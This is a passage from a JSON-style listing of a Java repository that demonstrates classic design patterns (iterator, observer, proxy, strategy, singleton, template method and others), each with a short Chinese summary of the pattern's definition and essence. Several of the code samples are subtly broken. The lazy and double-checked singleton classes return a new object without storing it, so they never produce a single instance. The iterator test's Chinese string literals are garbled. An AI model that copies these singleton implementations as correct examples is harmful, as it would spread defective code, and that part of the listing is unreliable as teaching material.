    "path": "jun_java_plugins/jun_designpattern/src/main/java/iterator/Aggregate.java",
    "content": "package iterator;\n\npublic abstract class Aggregate {\n\tpublic abstract Iterator createIterator();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/iterator/ConcreteAggregate.java",
    "content": "package iterator;\n\npublic class ConcreteAggregate extends Aggregate {\n\t\n\tprivate String[] ss = null;\n\t\n\tpublic ConcreteAggregate(String[] ss) {\n\t\tthis.ss = ss;\n\t}\n\n\t@Override\n\tpublic Iterator createIterator() {\n\t\treturn new ConcreteIterator(this);\n\t}\n\t\n\tpublic Object get(int index) {\n\t\tObject object = null;\n\t\tif (index < ss.length) {\n\t\t\tobject = ss[index];\n\t\t}\n\t\treturn object;\n\t}\n\t\n\tpublic int size() {\n\t\treturn ss.length;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/iterator/ConcreteIterator.java",
    "content": "package iterator;\n\npublic class ConcreteIterator implements Iterator {\n\n\tprivate ConcreteAggregate aggregate;\n\t\n\tprivate int index = -1;\n\t\n\tpublic ConcreteIterator(ConcreteAggregate aggregate) {\n\t\tthis.aggregate = aggregate;\n\t}\n\t\n\t@Override\n\tpublic void first() {\n\t\tindex = 0;\n\t}\n\n\t@Override\n\tpublic void next() {\n\t\tif (index < this.aggregate.size()) {\n\t\t\tindex++;\n\t\t}\n\t}\n\n\t@Override\n\tpublic boolean isDone() {\n\t\tif (index == this.aggregate.size()) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic Object currentItem() {\n\t\treturn aggregate.get(index);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/iterator/Iterator.java",
    "content": "package iterator;\n\npublic interface Iterator {\n\tpublic void first();\n\t\n\tpublic void next();\n\t\n\tpublic boolean isDone();\n\t\n\tpublic Object currentItem();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/iterator/TestIterator.java",
    "content": "package iterator;\n\npublic class TestIterator {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tString[] ss = new String[]{\"����\", \"����\", \"����\"};\n\t\t\n\t\tAggregate aggregate = new ConcreteAggregate(ss);\n\t\tIterator iterator = aggregate.createIterator();\n\t\t\n\t\titerator.first();\n\t\t\n\t\twhile(!iterator.isDone()) {\n\t\t\tObject object = iterator.currentItem();\n\t\t\tSystem.out.println(\"this is \" + object);\n\t\t\t\n\t\t\titerator.next();\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/iterator/summary.txt",
    "content": "迭代器模式的定义：提供一个方法顺序访问一个聚合对象中的各个元素，而又不需暴露该对象的内部表示。\n迭代器模式的本质：控制访问聚合对象中的元素。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/mediator/Colleague.java",
    "content": "package mediator;\n\npublic abstract class Colleague {\n\tprivate Mediator mediator;\n\t\n\tpublic Colleague(Mediator mediator) {\n\t\tthis.mediator = mediator;\n\t}\n\n\tpublic Mediator getMediator() {\n\t\treturn mediator;\n\t}\n\n\tpublic void setMediator(Mediator mediator) {\n\t\tthis.mediator = mediator;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/mediator/ConcreteColleagueA.java",
    "content": "package mediator;\n\npublic class ConcreteColleagueA extends Colleague {\n\n\tpublic ConcreteColleagueA(Mediator mediator) {\n\t\tsuper(mediator);\n\t}\n\n\tpublic void someOperate() {\n\t\tgetMediator().change(this);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/mediator/ConcreteColleagueB.java",
    "content": "package mediator;\n\npublic class ConcreteColleagueB extends Colleague {\n\n\tpublic ConcreteColleagueB(Mediator mediator) {\n\t\tsuper(mediator);\n\t}\n\n\tpublic void otherOperate() {\n\t\tgetMediator().change(this);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/mediator/ConcreteMediator.java",
    "content": "package mediator;\n\npublic class ConcreteMediator implements Mediator {\n\n\tprivate ConcreteColleagueA colleagueA;\n\t\n\tprivate ConcreteColleagueB colleagueB;\n\t\n\t\n\t\n\tpublic ConcreteColleagueA getColleagueA() {\n\t\treturn colleagueA;\n\t}\n\n\n\n\tpublic void setColleagueA(ConcreteColleagueA colleagueA) {\n\t\tthis.colleagueA = colleagueA;\n\t}\n\n\n\n\tpublic ConcreteColleagueB getColleagueB() {\n\t\treturn colleagueB;\n\t}\n\n\n\n\tpublic void setColleagueB(ConcreteColleagueB colleagueB) {\n\t\tthis.colleagueB = colleagueB;\n\t}\n\n\n\n\tpublic void change(Colleague colleague) {\n\t\tif (colleague == colleagueA) {\n\t\t\t\n\t\t} else if (colleague == colleagueB) {\n\t\t\t\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/mediator/Mediator.java",
    "content": "package mediator;\n\npublic interface Mediator {\n\tvoid change(Colleague colleague);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/mediator/summary.txt",
    "content": "中介者模式的定义：用一个中介对象来封装一系列的对象交互。中介者使得各对象不需要显示地相互引用，从而使其耦合松散，而且可以独立地改变他们之间的交互。\n中介者模式的本质： 封装交互。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/memento/Caretaker.java",
    "content": "package memento;\n\n/**\n * @author Wujun\n *\n */\npublic class Caretaker {\n\t\n\tprivate Memento memento = null;\n\t\n\tpublic void saveMemento(Memento memento) {\n\t\tthis.memento = memento;\n\t}\n\t\n\tpublic Memento retriveMemento() {\n\t\treturn this.memento;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/memento/Memento.java",
    "content": "package memento;\n\n/**\n * @author Wujun\n *\n */\npublic interface Memento {\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/memento/Originator.java",
    "content": "package memento;\n\n/**\n * 原发器对象\n * @author Wujun\n *\n */\npublic class Originator {\n\t/**\n\t * 原发器状态\n\t */\n\tprivate String state = \"\";\n\t\n\t/**\n\t * 创建保存原发器对象的状态的备忘录对象\n\t * @return 创建好的备忘录对象\n\t */\n\tpublic Memento createMemento() {\n\t\treturn new MementoImp(state);\n\t}\n\t\n\t/**\n\t * 真正的备忘录对象，实现备忘录接口\n\t * 实现成似有内部类，不让外部访问\n\t * @author Wujun\n\t *\n\t */\n\tprivate static class MementoImp implements Memento {\n\t\tprivate String state = \"\";\n\t\t\n\t\tpublic MementoImp(String state) {\n\t\t\tthis.state = state;\n\t\t}\n\t\t\n\t\tpublic String getState() {\n\t\t\treturn state;\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/memento/summary.txt",
    "content": "备忘录模式的定义：在不破坏封装性的前提下，捕获一个对象的内部状态，并在该对象之外保存这个状态。这样以后就可将该对象恢复到原先的状态。\n备忘录模式的本质：保存和恢复内部状态。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/observer/ConcreteObserver.java",
    "content": "package observer;\n\n\n/**\n * @uml.dependency   supplier=\"observer.ConcreteSubject\"\n */\npublic class ConcreteObserver implements Observer {\n\t\n\tprivate String observerState;\n\n\t@Override\n\tpublic void update(Subject subject) {\n\t\tobserverState = ((ConcreteSubject)subject).getSubjectState();\n\t\tSystem.out.println(observerState);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/observer/ConcreteSubject.java",
    "content": "package observer;\n\n\npublic class ConcreteSubject extends Subject {\n\tprivate String subjectState;\n\n\tpublic String getSubjectState() {\n\t\treturn subjectState;\n\t}\n\n\tpublic void setSubjectState(String subjectState) {\n\t\tthis.subjectState = subjectState;\n\t\tthis.notifyObservers();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/observer/NewsPaper.java",
    "content": "package observer;\n\nimport java.util.Observable;\n\npublic class NewsPaper extends Observable {\n\t\n\tprivate String content;\n\n\tpublic String getContent() {\n\t\treturn content;\n\t}\n\n\tpublic void setContent(String content) {\n\t\tthis.content = content;\n\t\t\n\t\tthis.setChanged();\n\t\tthis.notifyObservers(content);\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/observer/Observer.java",
    "content": "package observer;\n\n\npublic interface Observer {\n\tvoid update(Subject subject);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/observer/Reader.java",
    "content": "package observer;\n\nimport java.util.Observable;\nimport java.util.Observer;\n\npublic class Reader implements Observer {\n\tprivate String name;\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\t@Override\n\tpublic void update(Observable o, Object arg) {\n\t\tSystem.out.println(name + \"--有新收报纸\" + arg);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/observer/Subject.java",
    "content": "package observer;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class Subject {\n\n\tprivate List<Observer> observers = new ArrayList<Observer>();\n\n\tpublic void dettach(Observer observer) {\n\t\tobservers.remove(observer);\n\t}\n\n\tpublic void attach(Observer observer) {\n\t\tobservers.add(observer);\n\t}\n\n\tprotected void notifyObservers() {\n\t\tfor (Observer observer : observers) {\n\t\t\tobserver.update(this);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/observer/TestObserver.java",
    "content": "package observer;\n\npublic class TestObserver {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tReader reader = new Reader();\n\t\treader.setName(\"heihei\");\n\t\t\n\t\tReader reader2 = new Reader();\n\t\treader2.setName(\"gg\");\n\t\t\n\t\tNewsPaper newsPaper = new NewsPaper();\n\t\t\n\t\tnewsPaper.addObserver(reader);\n\t\tnewsPaper.addObserver(reader2);\n\t\t\n\t\tnewsPaper.setContent(\"新报纸\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/observer/summary.txt",
    "content": "观察者模式的定义：定义对象间的一种一对多的依赖关系。当一个对象的状态发生改变时，所有依赖于它的对象都得到通知并被更新。\n观察者模式的本质：触发联动。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/prototype/Client.java",
    "content": "package prototype;\n\npublic class Client {\n\tprivate Prototype prototype;\n\t\n\tpublic Client(Prototype prototype) {\n\t\tthis.prototype = prototype;\n\t}\n\t\n\tpublic void someOprate() {\n\t\tPrototype prototype2 = prototype.clonePrototype();\n\t\t//prototype2.clonePrototype();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/prototype/ConcretePrototype1.java",
    "content": "package prototype;\n\npublic class ConcretePrototype1 implements Prototype {\n\n\t@Override\n\tpublic Prototype clonePrototype() {\n\t\treturn new ConcretePrototype1();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/prototype/ConcretePrototype2.java",
    "content": "package prototype;\n\npublic class ConcretePrototype2 implements Prototype {\n\n\t@Override\n\tpublic Prototype clonePrototype() {\n\t\treturn new ConcretePrototype2();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/prototype/Prototype.java",
    "content": "package prototype;\n\npublic interface Prototype {\n\tPrototype clonePrototype();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/prototype/summary.txt",
    "content": "原型模式的定义：用原型实例指定创建对象的种类，并通过拷贝这些原型创建新的对象。\n原型模式的本质：克隆生成对象。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/proxy/DynamicProxy.java",
    "content": "package proxy;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Proxy;\n\n\npublic class DynamicProxy implements InvocationHandler {\n\n\tprivate Subject subject;\n\t\n\tpublic Subject getProxyInterface(RealSubject realSubject) {\n\t\tthis.subject = realSubject;\n\t\t\n\t\tSubject subject = (Subject)Proxy.newProxyInstance(\n\t\t\t\trealSubject.getClass().getClassLoader(), \n\t\t\t\trealSubject.getClass().getInterfaces(), \n\t\t\t\tthis);\n\t\t\n\t\treturn subject;\n\t}\n\t\t\n\t@Override\n\tpublic Object invoke(Object proxy, Method method, Object[] args)\n\t\t\tthrows Throwable {\n\t\tif (method.getName().startsWith(\"request\")) {\n\t\t\tSystem.out.println(\"动态代理成功！\");\n\t\t\tsubject.request();\n\t\t}\n\t\treturn null;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/proxy/Proxy.java",
    "content": "package proxy;\n\npublic class Proxy implements Subject {\n\t/**\n\t * @uml.property  name=\"realSubject\"\n\t * @uml.associationEnd  \n\t */\n\tprivate Subject subject;\n\t\n\tpublic Proxy(Subject subject) {\n\t\tthis.subject = subject;\n\t}\n\n\t@Override\n\tpublic void request() {\n\t\tSystem.out.println(\"其他的操作1\");\n\t\tsubject.request();\n\t\tSystem.out.println(\"其他的操作2\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/proxy/RealSubject.java",
    "content": "package proxy;\n\n\npublic class RealSubject implements Subject {\n\n\t@Override\n\tpublic void request() {\n\t\tSystem.out.println(\"我是RealSubject\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/proxy/Subject.java",
    "content": "package proxy;\n\npublic interface Subject {\n\tvoid request();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/proxy/Test.java",
    "content": "/**\n * <pre>\n * Copyright:\t\tCopyright(C) 2011-2012, ketayao.com\n * Filename:\t\tproxy.Test.java\n * Class:\t\t\tTest\n * Date:\t\t\t2012-5-7\n * Author:\t\t\t<a href=\"mailto:ketayao@gmail.com\">ketayao</a>\n * Version          1.1.0\n * Description:\t\t\n *\n * </pre>\n **/\n \npackage proxy;\n\n\n/** \n * \t\n * @author Wujun\n * Version  1.1.0\n * @since   2012-5-7 上午11:04:43 \n */\n\npublic class Test {\n\n\t/**  \n\t * 描述\n\t * @param args  \n\t */\n\tpublic static void main(String[] args) {\n\t\tRealSubject subject = new RealSubject();\n\t\tsubject.request();\n\t\tProxy proxy = new Proxy(subject);\n\t\tproxy.request();\n\t\t\n\t\t// 动态代理\n\t\tDynamicProxy dynamicProxy = new DynamicProxy();\n\t\tSubject proxySubject = dynamicProxy.getProxyInterface(subject);\n\t\tproxySubject.request();\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/proxy/summary.txt",
    "content": "代理模式的定义：为其他对象提供一种代理以控制对这个对象的访问。\n代理模式的本质： 控制对象访问。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/simplefactory/Api.java",
    "content": "/**\n * \n */\npackage simplefactory;\n\n/**\n * @author Wujun\n *\n */\npublic interface Api {\n\tvoid print();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/simplefactory/ApiFactory.java",
    "content": "/**\n * \n */\npackage simplefactory;\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\n/**\n * @author Wujun\n *\n */\npublic class ApiFactory {\n\t\n\tprivate ApiFactory() {\n\t\t\n\t}\n\t\n\tpublic static Api createApiByPropertites() {\n\t\tInputStream in = null;\n\t\tProperties properties = new Properties();\n\t\ttry {\n\t\t\tin = ApiFactory.class.getResourceAsStream(\"api_condition.propertites\");\n\t\t\tproperties.load(in);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (in != null) {\n\t\t\t\t\tin.close();\n\t\t\t\t}\t\n\t\t\t} catch (Exception e2) {\n\t\t\t\te2.printStackTrace();\n\t\t\t}\n\t\t}\n\t\t\n\t\tint type = Integer.parseInt(properties.getProperty(\"type\"));\n\t\treturn createApi(type);\n\t}\n\n\tpublic static Api createApi(int type) {\n\t\tif (type == 1) {\n\t\t\treturn new ApiImpA();\n\t\t} else if (type == 2) {\n\t\t\treturn new ApiImpB();\n\t\t} \n\t\treturn null;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/simplefactory/ApiImpA.java",
    "content": "/**\n * \n */\npackage simplefactory;\n\n/**\n * @author Wujun\n *\n */\npublic class ApiImpA implements Api {\n\n\t/* (non-Javadoc)\n\t * @see simplefactory.Api#print()\n\t */\n\tpublic void print() {\n\t\tSystem.out.println(\"this is A create!\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/simplefactory/ApiImpB.java",
    "content": "/**\n * \n */\npackage simplefactory;\n\n/**\n * @author Wujun\n *\n */\npublic class ApiImpB implements Api {\n\n\t/* (non-Javadoc)\n\t * @see simplefactory.Api#print()\n\t */\n\tpublic void print() {\n\t\tSystem.out.println(\"this is B create!\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/simplefactory/TestFactory.java",
    "content": "/**\n * \n */\npackage simplefactory;\n\n/**\n * @author Wujun\n *\n */\npublic class TestFactory {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t//Api api = ApiFactory.createApi(1);\n\t\tApi api = ApiFactory.createApi(2);\n\t\tapi.print();\n\t\t\n\t\tApi api2 = ApiFactory.createApiByPropertites();\n\t\tapi2.print();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/simplefactory/api_condition.propertites",
    "content": "type=1"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/simplefactory/summary.txt",
    "content": "简单工厂的定义：提供一个对象实例的功能，而无心关心其具体实现。\n简单工厂的本质：选择实现。\n\n在如下情况应选择抽象类：既要定义子类的行为，又要为子类提供公共的功能\n所谓组件：从设计上讲，组件就是能完成一定功能的封装体。\n 根据接口的作用和用途，浓缩下来，接口的思想就是“封装隔离”。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/singleton/DoubleCheckSingleton.java",
    "content": "package singleton;\n\npublic class DoubleCheckSingleton {\n\tprivate static volatile DoubleCheckSingleton doubleCheckSingleton = null;\n\t\n\tprivate DoubleCheckSingleton() {\n\t\t\n\t}\n\t\n\tpublic static DoubleCheckSingleton getDoubleCheckSingleton() {\n\t\tif (doubleCheckSingleton == null) {\n\t\t\tsynchronized (DoubleCheckSingleton.class) {\n\t\t\t\tif (doubleCheckSingleton == null) {\n\t\t\t\t\treturn new DoubleCheckSingleton();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn doubleCheckSingleton;\n\t}\n\t\n\tpublic void test() {\n\t\tSystem.out.println(\"--------------jinjin test doubleCheckSingleton-------------\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/singleton/EnumSingleton.java",
    "content": "package singleton;\n\npublic enum EnumSingleton {\n\tuniqueInstance;\n\t\n\tpublic void go() {\n\t\tSystem.out.println(\"EnumSingleton\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/singleton/HungrySingleton.java",
    "content": "package singleton;\n\npublic class HungrySingleton {\n\tprivate static HungrySingleton hungrySingleton = new HungrySingleton();\n\t\n\tprivate HungrySingleton() {\n\t\t\n\t}\n\t\n\tpublic static synchronized HungrySingleton getHungrySingleton() {\n\t\treturn hungrySingleton;\n\t}\n\t\n\tpublic void test() {\n\t\tSystem.out.println(\"--------------jinjin test hungrySingleton-------------\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/singleton/LazyHolderSingleton.java",
    "content": "package singleton;\n\npublic class LazyHolderSingleton {\n\t\n\t\n\tprivate LazyHolderSingleton() {\n\t\t\n\t}\n\t\n\tpublic static LazyHolderSingleton getLazyHolderSingleton() {\n\t\treturn SingletonHolder.lazyHolderSingleton;\n\t}\n\t\n\tpublic void test() {\n\t\tSystem.out.println(\"--------------jinjin test lazyHolderSingleton-------------\");\n\t}\n\t\n\tprivate static class SingletonHolder {\n\t\tprivate static LazyHolderSingleton lazyHolderSingleton = new LazyHolderSingleton();\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/singleton/LazySingleton.java",
    "content": "package singleton;\n\npublic class LazySingleton {\n\tprivate static LazySingleton lazySingleton = null;\n\t\n\tprivate LazySingleton() {\n\t\t\n\t}\n\t\n\tpublic static synchronized LazySingleton getLazySingleton() {\n\t\tif (lazySingleton == null) {\n\t\t\treturn new LazySingleton();\n\t\t} else {\n\t\t\treturn lazySingleton;\n\t\t}\n\t}\n\t\n\tpublic void test() {\n\t\tSystem.out.println(\"--------------jinjin test lazySingleton-------------\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/singleton/TestSingleton.java",
    "content": "package singleton;\n\npublic class TestSingleton {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tLazySingleton.getLazySingleton().test();\n\t\tHungrySingleton.getHungrySingleton().test();\n\t\t\n\t\tDoubleCheckSingleton.getDoubleCheckSingleton().test();\n\t\tLazyHolderSingleton.getLazyHolderSingleton().test();\n\t\t\n\t\tEnumSingleton.uniqueInstance.go();\n\t\t\n\t\tSystem.out.println(EnumSingleton.uniqueInstance);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/singleton/summary.txt",
    "content": "单例模式的定义：保证一个类仅有一个实例，并提供一个访问它的全局访问点。\n单例模式的本质：控制实例数目。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/state/ConcreteState.java",
    "content": "package state;\n\npublic class ConcreteState implements State {\n\n\t@Override\n\tpublic void handle(String sampleParameter) {\n\t\t// TODO Auto-generated method stub\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/state/ConcreteStateA.java",
    "content": "package state;\n\npublic class ConcreteStateA implements State {\n\n\t@Override\n\tpublic void handle(String sampleParameter) {\n\t\t// TODO Auto-generated method stub\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/state/Context.java",
    "content": "package state;\n\npublic class Context {\n\tprivate State state;\n\t\n\tpublic Context(State state) {\n\t\tthis.state = state;\n\t}\n\t\n\tpublic void someOperate(String sampleParameter) {\n\t\tstate.handle(sampleParameter);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/state/State.java",
    "content": "package state;\n\npublic interface State {\n\tvoid handle(String sampleParameter);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/state/summary.txt",
    "content": "状态模式的定义：允许一个对象在其内部状态改变时改变他的行为。对象看起来似乎修改了他的类。\n状态模式的本质：根据状态来分离和选择行为。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/strategy/ConcreteStrategyA.java",
    "content": "package strategy;\n\n\npublic class ConcreteStrategyA implements Strategy {\n\n\tpublic void algorInterface() {\n\t\tSystem.out.println(\"算法A\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/strategy/ConcreteStrategyB.java",
    "content": "package strategy;\n\n\npublic class ConcreteStrategyB implements Strategy {\n\n\tpublic void algorInterface() {\n\t\tSystem.out.println(\"算法B\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/strategy/Context.java",
    "content": "package strategy;\n\npublic class Context {\n\n\tpublic Context(Strategy strategy) {\n\t\tthis.strategy = strategy;\n\t}\n\n\t/**\n\t * @uml.property name=\"strategy\"\n\t * @uml.associationEnd inverse=\"context:strategy.Strategy\"\n\t */\n\tprivate Strategy strategy;\n\n\t/**\n\t * Getter of the property <tt>strategy</tt>\n\t * \n\t * @return Returns the strategy.\n\t * @uml.property name=\"strategy\"\n\t */\n\tpublic Strategy getStrategy() {\n\t\treturn strategy;\n\t}\n\n\t/**\n\t * Setter of the property <tt>strategy</tt>\n\t * \n\t * @param strategy\n\t *            The strategy to set.\n\t * @uml.property name=\"strategy\"\n\t */\n\tpublic void setStrategy(Strategy strategy) {\n\t\tthis.strategy = strategy;\n\t}\n\n\tpublic void contextInterface() {\n\t\tthis.strategy.algorInterface();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/strategy/Strategy.java",
    "content": "package strategy;\n\npublic interface Strategy {\n\n\tpublic abstract void algorInterface();\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/strategy/Test.java",
    "content": "/**\n * <pre>\n * Copyright:\t\tCopyright(C) 2011-2012, ketayao.com\n * Filename:\t\tstrategy.Test.java\n * Class:\t\t\tTest\n * Date:\t\t\t2012-5-7\n * Author:\t\t\t<a href=\"mailto:ketayao@gmail.com\">ketayao</a>\n * Version          1.1.0\n * Description:\t\t\n *\n * </pre>\n **/\n \npackage strategy;\n\n/** \n * \t\n * @author Wujun\n * Version  1.1.0\n * @since   2012-5-7 上午10:59:53 \n */\n\npublic class Test {\n\n\t/**  \n\t * 描述\n\t * @param args  \n\t */\n\tpublic static void main(String[] args) {\n\t\tContext context = new Context(new ConcreteStrategyA());\n\t\tcontext.contextInterface();\n\t\t\n\t\tContext context2 = new Context(new ConcreteStrategyB());\n\t\tcontext2.contextInterface();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/strategy/summary.txt",
    "content": "策略模式的定义：定义一系列的算法，把他们一个个的封装起来，并且使他们可互相替换。\n策略模式的本质：分离算法，选择实现。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/templatemethod/AbstractClass.java",
    "content": "package templatemethod;\n\npublic abstract class AbstractClass {\n\tpublic abstract void doSome1();\n\t\n\tpublic abstract void doSome2();\n\t\n\tpublic void templateMethod() {\n\t\tdoSome1();\n\t\tdoSome2();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/templatemethod/AbstractTemplate.java",
    "content": "package templatemethod;\n\npublic abstract class AbstractTemplate {\n\t/**\n\t * 模板方法，定义算法骨架\n\t */\n\tpublic final void templateMethod() {\n\t\t//第一步\n\t\tthis.operation1();\n\t\t//第二步\n\t\tthis.operation2();\n\t\t//第三步\n\t\tthis.doPrimitiveOperation1();\n\t\t//第四步\n\t\tthis.doPrimitiveOperation2();\n\t\t//第五步\n\t\tthis.hookOperation1();\n\t}\n\n\t/**\n\t * 具体的AbstractClass操作，子类的公共功能\n\t * 但通常不是具体的算法步骤\n\t */\n\tprotected void commonOperation() {\n\t\t\n\t}\n\t\n\t/**\n\t * 钩子操作，算法中的步骤，不一定需要，提供默认实现\n\t * 由子类选择并实现\n\t */\n\tprotected void hookOperation1() {\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}\n\n\t/**\n\t * 原语操作2，算法中必要的步骤，延迟到子类实现\n\t */\n\tprotected abstract void doPrimitiveOperation2();\n\n\t/**\n\t * 原语操作1，算法中必要的步骤，延迟到子类实现\n\t */\n\tprotected abstract void doPrimitiveOperation1();\n\n\t/**\n\t * 具体操作2，算法中的步骤，固定实现\n\t */\n\tprivate void operation2() {\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}\n\t\n\t/**\n\t * 具体操作1，算法中的步骤，固定实现\n\t */\n\tprivate void operation1() {\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/templatemethod/CallBackTemplate.java",
    "content": "package templatemethod;\n\npublic class CallBackTemplate {\n\tpublic void doSome(Callback callback) {\n\t\t//其他操作\n\t\tcallback.call();\n\t\t//其他操作\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/templatemethod/Callback.java",
    "content": "package templatemethod;\n\npublic interface Callback {\n\tvoid call();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/templatemethod/ConcreteClass.java",
    "content": "package templatemethod;\n\npublic class ConcreteClass extends AbstractClass {\n\n\t@Override\n\tpublic void doSome1() {\n\t\tSystem.out.println(\"ConcreteClass:doSome1\");\n\t}\n\n\t@Override\n\tpublic void doSome2() {\n\t\tSystem.out.println(\"ConcreteClass:doSome2\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/templatemethod/summary.txt",
    "content": "模板方法模式的定义：定义一个操作中的算法骨架，而将一些步骤延迟到子类中。模板方法使得子类可以不改变一个算法的结构即可重定义该算法的某些特定步骤。\n\n回调机制的模板方法\n模板方法模式的本质：固定算法骨架。"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/visitor/ConcreteElementA.java",
    "content": "package visitor;\n\npublic class ConcreteElementA extends Element {\n\n\t@Override\n\tpublic void accept(Visitor visitor) {\n\t\tvisitor.visitConcreteElementA(this);\n\t}\n\n\tpublic void operateA() {\n\t\tSystem.out.println(\"this is A's operation\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_designpattern/src/main/java/visitor/ConcreteElementB.java",
